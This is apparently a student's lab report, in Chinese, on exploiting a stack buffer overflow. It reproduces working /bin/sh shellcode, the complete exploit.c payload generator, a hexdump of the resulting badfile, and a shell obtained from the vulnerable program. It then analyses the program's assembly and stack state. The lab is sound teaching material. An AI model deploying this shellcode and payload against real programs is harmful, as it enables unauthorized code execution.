草庐IT

【软件与系统安全】栈溢出利用的分析

框架主义者 2024-05-03 原文

软件与系统安全 - 栈溢出利用的分析

软件与系统安全的作业,写得不尽详尽,仍有问题未解决,欢迎反馈

**栈溢出利用的分析 **

进行以下文献阅读、实验操作和代码(指令)分析,撰写分析报告。

  1. 阅读buffer_overflow.pdf 的第4.1~4.7 节,理解栈溢出攻击的原理。
  2. 按照README,运行exploit 程序,生成badfile。利用xxd 分析badfile,
    同时分析exploit.c 源代码,理解并解释为什么程序能够生成badfile 的内容。
  3. 按照README 运行stack 程序,实施栈溢出利用,观察shellcode 的执行
    效果。
  4. 详细分析stack.asm 中的 main 函数及 bof 函数对应的汇编指令序列,画出
    从main 起始到调用bof 函数执行、再到返回main 的过程中关键的栈状态。解释
    这些关键的栈状态,说明栈溢出攻击是如何实现的。(需要画出并解释的栈状态
    包括但不限于:call fread 后,call bof 前,bof 内call strcpy 前,bof 内call strcpy
    后,bof 内ret 前,从bof 返回main 后)。
    注:要求自己画栈状态,禁止从阅读材料中复制。

**提交要求: **
截止时间:4 月17 日23:59:59。
形式:分析报告(word 或pdf),内含以上要求的分析内容、关键栈状态图
(不限画图软件,但必须自己画,粘贴到报告中)和对攻击过程的解释。
提交到助教邮箱(见第一次课“intro.pdf”),邮件标题:“[学号]姓名-软件与
系统安全作业1”。

文章目录

一、栈溢出攻击的原理

esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化

ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。

eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片段也被成为“shellcode”。

payload : padding1 + address of shellcode + padding2 + shellcode

padding1 处的数据可以随意填充(注意如果利用字符串程序输入溢出数据不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。address of shellcode 是后面 shellcode 起始处的地址,用来覆盖返回地址。padding2 处的数据也可以随意填充,长度可以任意。shellcode 应该为十六进制的机器码格式。

只能得到大致但不确切的 shellcode 起始地址,解决办法是在 padding2 里填充若干长度的 “\x90”。这个机器码对应的指令是 NOP (No Operation),也就是告诉 CPU 什么也不做,然后跳到下一条指令。有了这一段 NOP 的填充,只要返回地址能够命中这一段中的任意位置,都可以无副作用地跳转到 shellcode 的起始处,所以这种方法被称为 NOP Sled(中文含义是“滑雪橇”)。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。

二、exploit 与 badfile

badfile文件内容

00000000: c7ca ffff c7ca ffff c7ca ffff c7ca ffff  ................
00000010: c7ca ffff c7ca ffff c7ca ffff c7ca ffff  ................
00000020: c7ca ffff c7ca ffff c7ca ffff c7ca ffff  ................
00000030: c7ca ffff c7ca ffff c7ca ffff c7ca ffff  ................
00000040: c7ca ffff c7ca ffff c7ca ffff c7ca ffff  ................
00000050: c7ca ffff c7ca ffff c7ca ffff c7ca ffff  ................
00000060: c7ca ffff 9090 9090 9090 9090 9090 9090  ................
00000070: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000080: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000090: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000b0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000c0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000d0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000e0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000f0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000100: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000110: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000120: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000130: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000140: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000150: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000160: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000170: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000180: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000190: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000001a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000001b0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000001c0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000001d0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000001e0: 9090 9090 9090 9090 9090 9031 c050 682f  ...........1.Ph/
000001f0: 2f73 6868 2f62 696e 89e3 5053 89e1 99b0  /shh/bin..PS....
00000200: 0bcd 8000 00          

exploit.c 源代码分析

shellcode

分析见注释:

char shellcode[] =
  "\x31\xc0"    // xorl    %eax,%eax
  "\x50"        // pushl   %eax
  "\x68""//sh"  // pushl   $0x68732f2f
  "\x68""/bin"  // pushl   $0x6e69622f
  "\x89\xe3"    // movl    %esp,%ebx
  "\x50"        // push   %eax
  "\x53"        // push   %ebx
  "\x89\xe1"    // mov    %esp,%ecx   #
  "\x99"        // cdq                # set %eax to 0
  "\xb0\x0b"    // movb   $0x0b,%al   # set %al to 11
  "\xcd\x80"    // int    $0x80       # execve("/bin/sh",0,0)
;

可实现的功能等同于:

#include <unistd.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

此程序编译后为

08049196 <main>:
 8049196:	f3 0f 1e fb          	endbr32 
 804919a:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 804919e:	83 e4 f0             	and    $0xfffffff0,%esp
 80491a1:	ff 71 fc             	pushl  -0x4(%ecx)
 80491a4:	55                   	push   %ebp
 80491a5:	89 e5                	mov    %esp,%ebp
 80491a7:	53                   	push   %ebx
 80491a8:	51                   	push   %ecx
 80491a9:	83 ec 10             	sub    $0x10,%esp
 80491ac:	e8 37 00 00 00       	call   80491e8 <__x86.get_pc_thunk.ax>
 80491b1:	05 4f 2e 00 00       	add    $0x2e4f,%eax
 80491b6:	8d 90 08 e0 ff ff    	lea    -0x1ff8(%eax),%edx
 80491bc:	89 55 f0             	mov    %edx,-0x10(%ebp)
 80491bf:	c7 45 f4 00 00 00 00 	movl   $0x0,-0xc(%ebp)
 80491c6:	8b 55 f0             	mov    -0x10(%ebp),%edx
 80491c9:	83 ec 04             	sub    $0x4,%esp
 80491cc:	6a 00                	push   $0x0
 80491ce:	8d 4d f0             	lea    -0x10(%ebp),%ecx
 80491d1:	51                   	push   %ecx
 80491d2:	52                   	push   %edx
 80491d3:	89 c3                	mov    %eax,%ebx
 80491d5:	e8 96 fe ff ff       	call   8049070 <execve@plt>
 80491da:	83 c4 10             	add    $0x10,%esp
 80491dd:	90                   	nop
 80491de:	8d 65 f8             	lea    -0x8(%ebp),%esp
 80491e1:	59                   	pop    %ecx
 80491e2:	5b                   	pop    %ebx
 80491e3:	5d                   	pop    %ebp
 80491e4:	8d 61 fc             	lea    -0x4(%ecx),%esp
 80491e7:	c3                   	ret    

其余代码分析,分析见注释:

/* 利用漏洞.c */
/* 一个程序,它创建一个文件“badfile”,其中包含用于启动shell的代码 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define BUFFER_SIZE 517 // 表示缓冲区的大小 
#define OFFSET 400 // 表示缓冲区的偏移量 

char shellcode[] =
  "\x31\xc0"    // xorl    %eax,%eax
  "\x50"        // pushl   %eax
  "\x68""//sh"  // pushl   $0x68732f2f
  "\x68""/bin"  // pushl   $0x6e69622f
  "\x89\xe3"    // movl    %esp,%ebx
  "\x50"        // push   %eax
  "\x53"        // push   %ebx
  "\x89\xe1"    // mov    %esp,%ecx   #
  "\x99"        // cdq                # set %eax to 0
  "\xb0\x0b"    // movb   $0x0b,%al   # set %al to 11
  "\xcd\x80"    // int    $0x80       # execve("/bin/sh",0,0)
;

void fillBuffer(char buffer[BUFFER_SIZE]) {
  // 获取 shellcode 的大小
  int shellcodeSize = sizeof(shellcode);

  //表示最终允许执行 shellcode 的估计返回地址
  //通过使用缓冲区的地址和偏移值(在本例中为缓冲区后 400 字节)
  long *returnAddress = (long *) (buffer+OFFSET);

  //获取缓冲区的长整数指针,以引用堆栈内存地址中的每个 4 字节十六进制数
  long *bufferPtr = (long *) buffer;

  int i;
  int shellcodeCounter = 0;

  //获取缓冲区中以空值终止的 shell 代码的起始索引
  //(即在缓冲区的末尾插入空终止的外壳代码)
  int shellcodeStartIndex = (BUFFER_SIZE-(shellcodeSize+1));


  // 循环 25 次 (每次修改 4-bytes hexadecimal 从缓冲区开始的栈内存地址)
  for (i = 0; i < 25; i++) {
    *bufferPtr = (long) returnAddress; // 将估计返回地址分配给堆栈内存地址中的 4 字节十六进制
    bufferPtr++; // 转到堆栈内存地址中下一个 4 字节十六进制(因为长整数是 4 字节部分)
  }

  // 在缓冲区末尾插入外壳代码,没有终止符
  for (i = shellcodeStartIndex; i < (BUFFER_SIZE-1); i++) {
    buffer[i] = shellcode[shellcodeCounter];
    shellcodeCounter++;
  }

  // shellcode的 终止符
  buffer[BUFFER_SIZE-1] = '\0';
}

void main(int argc, char **argv) {
  char buffer[BUFFER_SIZE];
//	printf("buffer addr (%p)\n", buffer);
  FILE *badfile;

  /*使用0x90初始化缓冲区(NOP 指令)*/
  memset(&buffer, 0x90, BUFFER_SIZE);

  /*您需要在此处使用适当的内容填充缓冲区*/
  fillBuffer(buffer);

  /*将内容保存到文件"badfile"*/
  badfile = fopen("./badfile", "w");
  fwrite(buffer, BUFFER_SIZE, 1, badfile);
  fclose(badfile);
}

三、运行 stack 读入 shellcode

setarch i386 -R ./stack
$ who
hxn      tty7         Apr 17 18:30 (:0)
$ id
uid=1000(hxn) gid=1000(hxn) groups=1000(hxn),4(adm),24(cdrom),27(sudo),29(audio),30(dip),46(plugdev),113(lpadmin),128(sambashare)

可以看出shellcode执行成功,我们获取了shell

四、stack.asm 分析与栈溢出攻击的实现

详细分析stack.asm 中的 main 函数及 bof 函数对应的汇编指令序列,画出
从main 起始到调用 bof 函数执行、再到返回 main 的过程中关键的栈状态。解释
这些关键的栈状态,说明栈溢出攻击是如何实现的。(需要画出并解释的栈状态
包括但不限于:

  • call fread 后,call bof 前,
  • bof 内 call strcpy 前,
  • bof 内 call strcpy 后,bof 内 ret 前,
  • 从bof 返回main 后。
    注:要求自己画栈状态,禁止从阅读材料中复制。

从 main 函数开始:

08049229 <main>:
 8049229:	f3 0f 1e fb          	endbr32 
 804922d:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 8049231:	83 e4 f0             	and    $0xfffffff0,%esp
 8049234:	ff 71 fc             	pushl  -0x4(%ecx)
 8049237:	55                   	push   %ebp
 8049238:	89 e5                	mov    %esp,%ebp
 804923a:	53                   	push   %ebx
 804923b:	51                   	push   %ecx
 804923c:	81 ec 10 02 00 00    	sub    $0x210,%esp
 8049242:	e8 e9 fe ff ff       	call   8049130 <__x86.get_pc_thunk.bx>

 8049247:	81 c3 b9 2d 00 00    	add    $0x2db9,%ebx

# stack.c:23:     badfile = fopen("badfile", "r");
 804924d:	83 ec 08             	sub    $0x8,%esp
 8049250:	8d 83 08 e0 ff ff    	lea    -0x1ff8(%ebx),%eax
 8049256:	50                   	push   %eax
 8049257:	8d 83 0a e0 ff ff    	lea    -0x1ff6(%ebx),%eax
 804925d:	50                   	push   %eax
 804925e:	e8 6d fe ff ff       	call   80490d0 <fopen@plt>
 8049263:	83 c4 10             	add    $0x10,%esp
 8049266:	89 45 f4             	mov    %eax,-0xc(%ebp)

# stack.c:24:     fread(str, sizeof(char), 517, badfile);
 8049269:	ff 75 f4             	pushl  -0xc(%ebp)
 804926c:	68 05 02 00 00       	push   $0x205
 8049271:	6a 01                	push   $0x1
 8049273:	8d 85 ef fd ff ff    	lea    -0x211(%ebp),%eax
 8049279:	50                   	push   %eax
 804927a:	e8 11 fe ff ff       	call   8049090 <fread@plt>

进入 fread 函数

call fread 后,call bof 前 的栈状态:

fread 函数结束 返回 main

 804927f:	83 c4 10             	add    $0x10,%esp

# stack.c:25:     bof(str);
 8049282:	83 ec 0c             	sub    $0xc,%esp
 8049285:	8d 85 ef fd ff ff    	lea    -0x211(%ebp),%eax
 804928b:	50                   	push   %eax
 804928c:	e8 65 ff ff ff       	call   80491f6 <bof>

进入 bof 函数

080491f6 <bof>:
 80491f6:	f3 0f 1e fb          	endbr32 
 80491fa:	55                   	push   %ebp
 80491fb:	89 e5                	mov    %esp,%ebp
 80491fd:	53                   	push   %ebx
 80491fe:	83 ec 24             	sub    $0x24,%esp
 8049201:	e8 af 00 00 00       	call   80492b5 <__x86.get_pc_thunk.ax>
 8049206:	05 fa 2d 00 00       	add    $0x2dfa,%eax

# stack.c:15:     strcpy(buffer, str);
 804920b:	83 ec 08             	sub    $0x8,%esp
 804920e:	ff 75 08             	pushl  0x8(%ebp)
 8049211:	8d 55 e0             	lea    -0x20(%ebp),%edx
 8049214:	52                   	push   %edx
 8049215:	89 c3                	mov    %eax,%ebx
 8049217:	e8 84 fe ff ff       	call   80490a0 <strcpy@plt>
  • bof 内 call strcpy 前,

  • bof 内 call strcpy 后,

 804921c:	83 c4 10             	add    $0x10,%esp
 804921f:	b8 01 00 00 00       	mov    $0x1,%eax

# stack.c:16:     return 1;
 8049224:	8b 5d fc             	mov    -0x4(%ebp),%ebx
 8049227:	c9                   	leave  
 8049228:	c3                   	ret    

buf 函数结束 返回 main

 8049291:	83 c4 10             	add    $0x10,%esp

# stack.c:26:     printf("Returned Properly\n");
 8049294:	83 ec 0c             	sub    $0xc,%esp
 8049297:	8d 83 12 e0 ff ff    	lea    -0x1fee(%ebx),%eax
 804929d:	50                   	push   %eax
 804929e:	e8 0d fe ff ff       	call   80490b0 <puts@plt>
 80492a3:	83 c4 10             	add    $0x10,%esp
 80492a6:	b8 01 00 00 00       	mov    $0x1,%eax
 80492ab:	8d 65 f8             	lea    -0x8(%ebp),%esp
 80492ae:	59                   	pop    %ecx
 80492af:	5b                   	pop    %ebx
 80492b0:	5d                   	pop    %ebp
 80492b1:	8d 61 fc             	lea    -0x4(%ecx),%esp
 80492b4:	c3                   	ret    

全部流程:

参考资料

https://zhuanlan.zhihu.com/p/25816426

有关【软件与系统安全】栈溢出利用的分析的更多相关文章

  1. ruby - 如何使用 Ruby aws/s3 Gem 生成安全 URL 以从 s3 下载文件 - 2

    我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A

  2. ruby - 如何安全地删除文件? - 2

    在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?

  3. 电脑0x0000001A蓝屏错误怎么U盘重装系统教学 - 2

      电脑0x0000001A蓝屏错误怎么U盘重装系统教学分享。有用户电脑开机之后遇到了系统蓝屏的情况。系统蓝屏问题很多时候都是系统bug,只有通过重装系统来进行解决。那么蓝屏问题如何通过U盘重装新系统来解决呢?来看看以下的详细操作方法教学吧。  准备工作:  1、U盘一个(尽量使用8G以上的U盘)。  2、一台正常联网可使用的电脑。  3、ghost或ISO系统镜像文件(Win10系统下载_Win10专业版_windows10正式版下载-系统之家)。  4、在本页面下载U盘启动盘制作工具:系统之家U盘启动工具。  U盘启动盘制作步骤:  注意:制作期间,U盘会被格式化,因此U盘中的重要文件请注

  4. 【鸿蒙应用开发系列】- 获取系统设备信息以及版本API兼容调用方式 - 2

    在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList​()Obt

  5. 软件测试基础 - 2

    Ⅰ软件测试基础一、软件测试基础理论1、软件测试的必要性所有的产品或者服务上线都需要测试2、测试的发展过程3、什么是软件测试找bug,发现缺陷4、测试的定义使用人工或自动的手段来运行或者测试某个系统的过程。目的在于检测它是否满足规定的需求。弄清预期结果和实际结果的差别。5、测试的目的以最小的人力、物力和时间找出软件中潜在的错误和缺陷6、测试的原则28原则:20%的主要功能要重点测(eg:支付宝的支付功能,其他功能都是次要的)80%的错误存在于20%的代码中7、测试标准8、测试的基本要求功能测试性能测试安全性测试兼容性测试易用性测试外观界面测试可靠性测试二、质量模型衡量一个优秀软件的维度①功能性功

  6. kvm虚拟机安装centos7基于ubuntu20.04系统 - 2

    需求:要创建虚拟机,就需要给他提供一个虚拟的磁盘,我们就在/opt目录下创建一个10G大小的raw格式的虚拟磁盘CentOS-7-x86_64.raw命令格式:qemu-imgcreate-f磁盘格式磁盘名称磁盘大小qemu-imgcreate-f磁盘格式-o?1.创建磁盘qemu-imgcreate-fraw/opt/CentOS-7-x86_64.raw10G执行效果#ls/opt/CentOS-7-x86_64.raw2.安装虚拟机使用virt-install命令,基于我们提供的系统镜像和虚拟磁盘来创建一个虚拟机,另外在创建虚拟机之前,提前打开vnc客户端,在创建虚拟机的时候,通过vnc

  7. ruby - 用 YAML.load 解析 json 安全吗? - 2

    我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("

  8. ruby - 在没有基准或时间的情况下用 Ruby 测量用户时间或系统时间 - 2

    因为我现在正在做一些时间测量,我想知道是否可以在不使用Benchmark类或命令行实用程序time的情况下测量用户时间或系统时间。使用Time类只显示挂钟时间,而不显示系统和用户时间,但是我正在寻找具有相同灵active的解决方案,例如time=TimeUtility.now#somecodeuser,system,real=TimeUtility.now-time原因是我有点不喜欢Benchmark,因为它不能只返回数字(编辑:我错了-它可以。请参阅下面的答案。)。当然,我可以解析输出,但感觉不对。*NIX系统的time实用程序也应该可以解决我的问题,但我想知道是否已经在Ruby中实

  9. ruby-on-rails - 安全地显示使用回形针 gem 上传的图像 - 2

    默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同

  10. ruby - 以毫秒为单位获取当前系统时间 - 2

    在Ruby中,以毫秒为单位获取自纪元(1970)以来的当前系统时间的正确方法是什么?我试过了Time.now.to_i,好像不是我想要的结果。我需要结果显示毫秒并且使用long类型,而不是float或double。 最佳答案 (Time.now.to_f*1000).to_iTime.now.to_f显示包含十进制数字的时间。要获得毫秒数,只需将时间乘以1000。 关于ruby-以毫秒为单位获取当前系统时间,我们在StackOverflow上找到一个类似的问题:

随机推荐